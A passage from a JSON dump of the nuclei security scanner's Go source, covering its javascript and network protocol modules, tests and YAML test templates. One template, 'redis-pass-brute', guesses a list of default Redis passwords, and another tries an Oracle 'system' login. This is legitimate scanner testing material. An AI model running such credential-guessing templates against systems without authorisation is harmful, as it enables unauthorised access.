fields.Ip,\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\nfunc beautifyJavascript(code string) string {\n\topts := jsbeautifier.DefaultOptions()\n\tbeautified, err := jsbeautifier.Beautify(&code, opts)\n\tif err != nil {\n\t\treturn code\n\t}\n\treturn beautified\n}\n\nfunc prettyPrint(templateId string, buff string) {\n\tif buff == \"\" {\n\t\treturn\n\t}\n\tlines := strings.Split(buff, \"\\n\")\n\tfinal := make([]string, 0, len(lines))\n\tfor _, v := range lines {\n\t\tif v != \"\" {\n\t\t\tfinal = append(final, \"\\t\"+v)\n\t\t}\n\t}\n\tgologger.Debug().Msgf(\" [%v] Javascript Code:\\n\\n%v\\n\\n\", templateId, strings.Join(final, \"\\n\"))\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/javascript/js_test.go",
    "content": "package javascript_test\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar (\n\ttestcases = []string{\n\t\t\"testcases/ms-sql-detect.yaml\",\n\t\t\"testcases/redis-pass-brute.yaml\",\n\t\t\"testcases/ssh-server-fingerprint.yaml\",\n\t}\n\texecuterOpts *protocols.ExecutorOptions\n)\n\nfunc setup() {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\tprogressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\texecuterOpts = &protocols.ExecutorOptions{\n\t\tOutput:       testutils.NewMockOutputWriter(options.OmitTemplate),\n\t\tOptions:      options,\n\t\tProgress:     progressImpl,\n\t\tProjectFile:  nil,\n\t\tIssuesClient: nil,\n\t\tBrowser:      nil,\n\t\tCatalog:      disk.NewCatalog(config.DefaultConfig.TemplatesDirectory),\n\t\tRateLimiter:  ratelimit.New(context.Background(), uint(options.RateLimit), time.Second),\n\t\tParser:       templates.NewParser(),\n\t}\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create workflow loader: %s\\n\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n}\n\nfunc TestCompile(t *testing.T) {\n\tsetup()\n\tfor index, tpl := range testcases {\n\t\t// parse template\n\t\ttemplate, err := templates.Parse(tpl, nil, executerOpts)\n\t\trequire.Nilf(t, err, \"failed to parse %v\", tpl)\n\n\t\t// compile template\n\t\terr = template.Executer.Compile()\n\t\trequire.Nilf(t, err, \"failed to compile %v\", tpl)\n\n\t\tswitch index {\n\t\tcase 0:\n\t\t\t// requests count should be 1\n\t\t\trequire.Equal(t, 1, template.TotalRequests, \"template : %v\", tpl)\n\t\tcase 1:\n\t\t\t// requests count should be 6 i.e 5 generator payloads + 1 precondition request\n\t\t\trequire.Equal(t, 5+1, template.TotalRequests, \"template : %v\", tpl)\n\t\tcase 2:\n\t\t\t// requests count should be 1\n\t\t\trequire.Equal(t, 1, template.TotalRequests, \"template : %v\", tpl)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/javascript/testcases/ms-sql-detect.yaml",
    "content": "id: ms-sql-detect\n\ninfo:\n  name: microsoft sql server(mssql) detection\n  author: Ice3man543,tarunKoyalwar\n  severity: info\n  description: |\n    ms sql detection template\n  metadata:\n    shodan-query: \"port:1433\"\n  \njavascript:\n  - code: |\n      var m = require(\"nuclei/mssql\");\n      var c = m.MSSQLClient();\n      c.IsMssql(Host, Port);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"1433\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"response == true\"\n          - \"success == true\"\n        condition: and\n  \n\n"
  },
  {
    "path": "pkg/protocols/javascript/testcases/oracle-auth-test.yaml",
    "content": "id: oracle-auth-test\n\ninfo:\n  name: Oracle - Authentication Test\n  author: pdteam\n  severity: info\n  tags: js,oracle,network,auth\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port);\n    code: |\n      let o = require('nuclei/oracle');\n      let c = o.OracleClient();\n      c.Connect(Host, Port, ServiceName, User, Pass);\n      \n    args:\n      ServiceName: \"XE\"\n      Host: \"{{Host}}\"\n      Port: \"1521\"\n      User: \"system\"\n      Pass: \"{{passwords}}\"\n    payloads:\n      passwords:\n        - mysecret\n    matchers:\n      - type: dsl\n        dsl:\n          - \"response == true\""
  },
  {
    "path": "pkg/protocols/javascript/testcases/redis-pass-brute.yaml",
    "content": "id: redis-pass-brute\ninfo:\n  name: redis password bruteforce\n  author: tarunKoyalwar\n  severity: high\n  description: |\n    This template bruteforces passwords for protected redis instances.\n    If redis is not protected with password. it is also matched\n  metadata:\n    shodan-query: product:\"redis\"\n\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host,Port)\n\n    code: |\n      var m = require(\"nuclei/redis\");\n      m.GetServerInfoAuth(Host,Port,Password);\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"6379\"\n      Password: \"{{passwords}}\"\n\n    payloads:\n      passwords:\n        - \"\"\n        - root\n        - password\n        - admin\n        - iamadmin\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"redis_version\"\n      - type: word\n        negative: true\n        words:\n          - \"redis_mode:sentinel\"\n"
  },
  {
    "path": "pkg/protocols/javascript/testcases/ssh-server-fingerprint.yaml",
    "content": "id: ssh-server-fingerprint\n\ninfo:\n  name: Fingerprint SSH Server Software\n  author: Ice3man543,tarunKoyalwar\n  severity: info\n  \n\njavascript:\n  - code: |\n      var m = require(\"nuclei/ssh\");\n      var c = m.SSHClient();\n      var response = c.ConnectSSHInfoMode(Host, Port);\n      to_json(response);\n    args:\n      Host: \"{{Host}}\"\n      Port: \"22\"\n\n    extractors:\n      - type: json\n        name: server\n        json:\n          - '.ServerID.Raw'\n        part: response\n"
  },
  {
    "path": "pkg/protocols/network/network.go",
    "content": "package network\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// Request contains a Network protocol request to be made from a template\ntype Request struct {\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID of the network request\"`\n\n\t// description: |\n\t//   Host to send network requests to.\n\t//\n\t//   Usually it's set to `{{Hostname}}`. If you want to enable TLS for\n\t//   TCP Connection, you can use `tls://{{Hostname}}`.\n\t// examples:\n\t//   - value: |\n\t//       []string{\"{{Hostname}}\"}\n\tAddress   []string `yaml:\"host,omitempty\" json:\"host,omitempty\" jsonschema:\"title=host to send requests to,description=Host to send network requests to\"`\n\taddresses []addressKV\n\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   Batteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=batteringram,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the network request,description=Payloads contains any payloads for the current request\"`\n\t// description: |\n\t//   Threads specifies number of threads to use sending requests. This enables Connection Pooling.\n\t//\n\t//   Connection: Close attribute must not be used in request while using threads flag, otherwise\n\t//   pooling will fail and engine will continue to close connections after requests.\n\t// examples:\n\t//   - name: Send requests using 10 concurrent threads\n\t//     value: 10\n\tThreads int `yaml:\"threads,omitempty\" json:\"threads,omitempty\" jsonschema:\"title=threads for sending requests,description=Threads specifies number of threads to use sending requests. This enables Connection Pooling\"`\n\n\t// description: |\n\t//   Inputs contains inputs for the network socket\n\tInputs []*Input `yaml:\"inputs,omitempty\" json:\"inputs,omitempty\" jsonschema:\"title=inputs for the network request,description=Inputs contains any input/output for the current request\"`\n\t// description: |\n\t//   Port is the port to send network requests to. this acts as default port but is overridden if target/input contains\n\t// non-http(s) ports like 80,8080,8081 etc\n\tPort string `yaml:\"port,omitempty\" json:\"port,omitempty\" jsonschema:\"title=port to send requests to,description=Port to send network requests to,oneof_type=string;integer\"`\n\n\t// description:\t|\n\t//\tExcludePorts is the list of ports to exclude from being scanned . It is intended to be used with `Port` field and contains a list of ports which are ignored/skipped\n\tExcludePorts string `yaml:\"exclude-ports,omitempty\" json:\"exclude-ports,omitempty\" jsonschema:\"title=exclude ports from being scanned,description=Exclude ports from being scanned\"`\n\t// description: |\n\t//   ReadSize is the size of response to read at the end\n\t//\n\t//   Default value for read-size is 1024.\n\t// examples:\n\t//   - value: \"2048\"\n\tReadSize int `yaml:\"read-size,omitempty\" json:\"read-size,omitempty\" jsonschema:\"title=size of network response to read,description=Size of response to read at the end. Default is 1024 bytes\"`\n\t// description: |\n\t//   ReadAll determines if the data stream should be read till the end regardless of the size\n\t//\n\t//   Default value for read-all is false.\n\t// examples:\n\t//   - value: false\n\tReadAll bool `yaml:\"read-all,omitempty\" json:\"read-all,omitempty\" jsonschema:\"title=read all response stream,description=Read all response stream till the server stops sending\"`\n\n\t// description: |\n\t//   SelfContained specifies if the request is self-contained.\n\tSelfContained bool `yaml:\"-\" json:\"-\"`\n\n\t// description: |\n\t//   StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\tStopAtFirstMatch bool `yaml:\"stop-at-first-match,omitempty\" json:\"stop-at-first-match,omitempty\" jsonschema:\"title=stop at first match,description=Stop the execution after a match is found\"`\n\n\t// description: |\n\t// ports is post processed list of ports to scan (obtained from Port)\n\tports []string `yaml:\"-\" json:\"-\"`\n\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\tgenerator *generators.PayloadGenerator\n\t// cache any variables that may be needed for operation.\n\tdialer  *fastdialer.Dialer\n\toptions *protocols.ExecutorOptions\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":   \"ID of the template executed\",\n\t\"template-info\": \"Info Block of the template executed\",\n\t\"template-path\": \"Path of the template executed\",\n\t\"host\":          \"Host is the input to the template\",\n\t\"matched\":       \"Matched is the input which was matched upon\",\n\t\"type\":          \"Type is the type of request made\",\n\t\"request\":       \"Network request made from the client\",\n\t\"body,all,data\": \"Network response received from server (default)\",\n\t\"raw\":           \"Full Network protocol data\",\n}\n\ntype addressKV struct {\n\taddress string\n\ttls     bool\n}\n\n// Input is the input to send on the network\ntype Input struct {\n\t// description: |\n\t//   Data is the data to send as the input.\n\t//\n\t//   It supports DSL Helper Functions as well as normal expressions.\n\t// examples:\n\t//   - value: \"\\\"TEST\\\"\"\n\t//   - value: \"\\\"hex_decode('50494e47')\\\"\"\n\tData string `yaml:\"data,omitempty\" json:\"data,omitempty\" jsonschema:\"title=data to send as input,description=Data is the data to send as the input,oneof_type=string;integer\"`\n\t// description: |\n\t//   Type is the type of input specified in `data` field.\n\t//\n\t//   Default value is text, but hex can be used for hex formatted data.\n\t// values:\n\t//   - \"hex\"\n\t//   - \"text\"\n\tType NetworkInputTypeHolder `yaml:\"type,omitempty\" json:\"type,omitempty\" jsonschema:\"title=type is the type of input data,description=Type of input specified in data field,enum=hex,enum=text\"`\n\t// description: |\n\t//   Read is the number of bytes to read from socket.\n\t//\n\t//   This can be used for protocols which expect an immediate response. You can\n\t//   read and write responses one after another and eventually perform matching\n\t//   on every data captured with `name` attribute.\n\t//\n\t//   The [network docs](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/) highlight more on how to do this.\n\t// examples:\n\t//   - value: \"1024\"\n\tRead int `yaml:\"read,omitempty\" json:\"read,omitempty\" jsonschema:\"title=bytes to read from socket,description=Number of bytes to read from socket\"`\n\t// description: |\n\t//   Name is the optional name of the data read to provide matching on.\n\t// examples:\n\t//   - value: \"\\\"prefix\\\"\"\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=optional name for data read,description=Optional name of the data read to provide matching on\"`\n}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\tvar shouldUseTLS bool\n\tvar err error\n\n\trequest.options = options\n\tfor _, address := range request.Address {\n\t\t// check if the connection should be encrypted\n\t\tif strings.HasPrefix(address, \"tls://\") {\n\t\t\tshouldUseTLS = true\n\t\t\taddress = strings.TrimPrefix(address, \"tls://\")\n\t\t}\n\t\trequest.addresses = append(request.addresses, addressKV{address: address, tls: shouldUseTLS})\n\t}\n\t// Pre-compile any input dsl functions before executing the request.\n\t// Build a map with template variables and -var flag values for pre-compilation\n\tpreCompileVars := request.options.Variables.GetAll()\n\t// Merge in -var flag values\n\tif request.options.Options != nil {\n\t\tgenerators.MergeMapsInto(preCompileVars, request.options.Options.Vars.AsMap())\n\t}\n\t// Also merge in constants\n\tgenerators.MergeMapsInto(preCompileVars, request.options.Constants)\n\n\tfor _, input := range request.Inputs {\n\t\tif input.Type.String() != \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif compiled, evalErr := expressions.Evaluate(input.Data, preCompileVars); evalErr == nil {\n\t\t\tinput.Data = compiled\n\t\t}\n\t}\n\n\t// parse ports and validate\n\tif request.Port != \"\" {\n\t\tfor _, port := range strings.Split(request.Port, \",\") {\n\t\t\tif port == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tportInt, err := strconv.Atoi(port)\n\t\t\tif err != nil {\n\t\t\t\treturn errkit.Wrapf(err, \"could not parse port %v from '%s'\", port, request.Port)\n\t\t\t}\n\t\t\tif portInt < 1 || portInt > 65535 {\n\t\t\t\treturn errkit.Newf(\"port %v is not in valid range\", portInt)\n\t\t\t}\n\t\t\trequest.ports = append(request.ports, port)\n\t\t}\n\t}\n\n\t// Resolve payload paths from vars if they exists\n\tfor name, payload := range request.options.Options.Vars.AsMap() {\n\t\tpayloadStr, ok := payload.(string)\n\t\t// check if inputs contains the payload\n\t\tvar hasPayloadName bool\n\t\tfor _, input := range request.Inputs {\n\t\t\tif input.Type.String() != \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif expressions.ContainsVariablesWithNames(map[string]interface{}{name: payload}, input.Data) == nil {\n\t\t\t\thasPayloadName = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif ok && hasPayloadName && fileutil.FileExists(payloadStr) {\n\t\t\tif request.Payloads == nil {\n\t\t\t\trequest.Payloads = make(map[string]interface{})\n\t\t\t}\n\t\t\trequest.Payloads[name] = payloadStr\n\t\t}\n\t}\n\n\tif len(request.Payloads) > 0 {\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, request.options.Catalog, request.options.Options.AttackType, request.options.Options)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t\t// if we have payloads, adjust threads if none specified\n\t\trequest.Threads = options.GetThreadsForNPayloadRequests(request.Requests(), request.Threads)\n\t}\n\n\t// Create a client for the class\n\tclient, err := networkclientpool.Get(options.Options, &networkclientpool.Configuration{\n\t\tCustomDialer: options.CustomFastdialer,\n\t})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get network client\")\n\t}\n\trequest.dialer = client\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\treturn nil\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\treturn len(request.Address)\n}\n\nfunc (request *Request) SetDialer(dialer *fastdialer.Dialer) {\n\trequest.dialer = dialer\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/network/network_input_types.go",
    "content": "package network\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// NetworkInputType is the type of the network input specified\ntype NetworkInputType int\n\n// name:NetworkInputType\nconst (\n\t// name:hex\n\thexType NetworkInputType = iota + 1\n\t// name:text\n\ttextType\n\tlimit\n)\n\n// NetworkInputMapping is a table for conversion of method from string.\nvar NetworkInputMapping = map[NetworkInputType]string{\n\thexType:  \"hex\",\n\ttextType: \"text\",\n}\n\n// GetSupportedNetworkInputTypes returns list of supported types\nfunc GetSupportedNetworkInputTypes() []NetworkInputType {\n\tvar result []NetworkInputType\n\tfor index := NetworkInputType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toNetworkInputTypes(valueToMap string) (NetworkInputType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range NetworkInputMapping {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid network type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t NetworkInputType) String() string {\n\treturn NetworkInputMapping[t]\n}\n\n// NetworkInputTypeHolder is used to hold internal type of the Network type\ntype NetworkInputTypeHolder struct {\n\tNetworkInputType NetworkInputType `mapping:\"true\"`\n}\n\nfunc (holder NetworkInputTypeHolder) GetType() NetworkInputType {\n\treturn holder.NetworkInputType\n}\n\nfunc (holder NetworkInputTypeHolder) String() string {\n\treturn holder.NetworkInputType.String()\n}\n\nfunc (holder NetworkInputTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type is the type of input data\",\n\t\tDescription: \"description=Type of input specified in data field\",\n\t}\n\tfor _, types := range GetSupportedNetworkInputTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *NetworkInputTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toNetworkInputTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.NetworkInputType = computedType\n\treturn nil\n}\n\nfunc (holder *NetworkInputTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toNetworkInputTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.NetworkInputType = computedType\n\treturn nil\n}\n\nfunc (holder *NetworkInputTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.NetworkInputType.String())\n}\n\nfunc (holder NetworkInputTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.NetworkInputType.String(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/network/network_test.go",
    "content": "package network\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestNetworkCompileMake(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"tls://{{Host}}:443\"},\n\t\tReadSize: 1024,\n\t\tInputs:   []*Input{{Data: \"test-data\"}},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\trequire.Equal(t, 1, len(request.addresses), \"could not get correct number of input address\")\n\tt.Run(\"check-tls-with-port\", func(t *testing.T) {\n\t\trequire.True(t, request.addresses[0].tls, \"could not get correct port for host\")\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/network/networkclientpool/clientpool.go",
    "content": "package networkclientpool\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Init initializes the clientpool implementation\nfunc Init(options *types.Options) error {\n\treturn nil\n}\n\n// Configuration contains the custom configuration options for a client\ntype Configuration struct {\n\tCustomDialer *fastdialer.Dialer\n}\n\n// Hash returns the hash of the configuration to allow client pooling\nfunc (c *Configuration) Hash() string {\n\treturn \"\"\n}\n\n// Get creates or gets a client for the protocol based on custom configuration\nfunc Get(options *types.Options, configuration *Configuration /*TODO review unused parameters*/) (*fastdialer.Dialer, error) {\n\tif configuration != nil && configuration.CustomDialer != nil {\n\t\treturn configuration.CustomDialer, nil\n\t}\n\tdialers := protocolstate.GetDialersWithId(options.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", options.ExecutionId)\n\t}\n\treturn dialers.Fastdialer, nil\n}\n"
  },
  {
    "path": "pkg/protocols/network/operators.go",
    "content": "package network\n\nimport (\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Match matches a generic data response again a given matcher\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titemStr, ok := request.getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(itemStr))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(itemStr, data))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(itemStr))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(itemStr)), []string{}\n\t}\n\treturn false, []string{}\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titemStr, ok := request.getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(itemStr)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) getMatchPart(part string, data output.InternalEvent) (string, bool) {\n\tswitch part {\n\tcase \"body\", \"all\", \"\":\n\t\tpart = \"data\"\n\t}\n\n\titem, ok := data[part]\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\titemStr := types.ToString(item)\n\n\treturn itemStr, true\n}\n\n// responseToDSLMap converts a network response to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(req, resp, raw, host, matched string) output.InternalEvent {\n\treturn output.InternalEvent{\n\t\t\"host\":          host,\n\t\t\"matched\":       matched,\n\t\t\"request\":       req,\n\t\t\"data\":          resp, // Data is the last bytes read\n\t\t\"raw\":           raw,  // Raw is the full transaction data for network\n\t\t\"type\":          request.Type().String(),\n\t\t\"template-id\":   request.options.TemplateID,\n\t\t\"template-info\": request.options.TemplateInfo,\n\t\t\"template-path\": request.options.TemplatePath,\n\t}\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolutils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tURL:              fields.URL,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tIP:               fields.Ip,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"data\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n"
  },
  {
    "path": "pkg/protocols/network/operators_test.go",
    "content": "package network\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestResponseToDSLMap(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"{{Hostname}}\"},\n\t\tReadSize: 1024,\n\t\tInputs:   []*Input{{Data: \"test-data\\r\\n\"}},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not 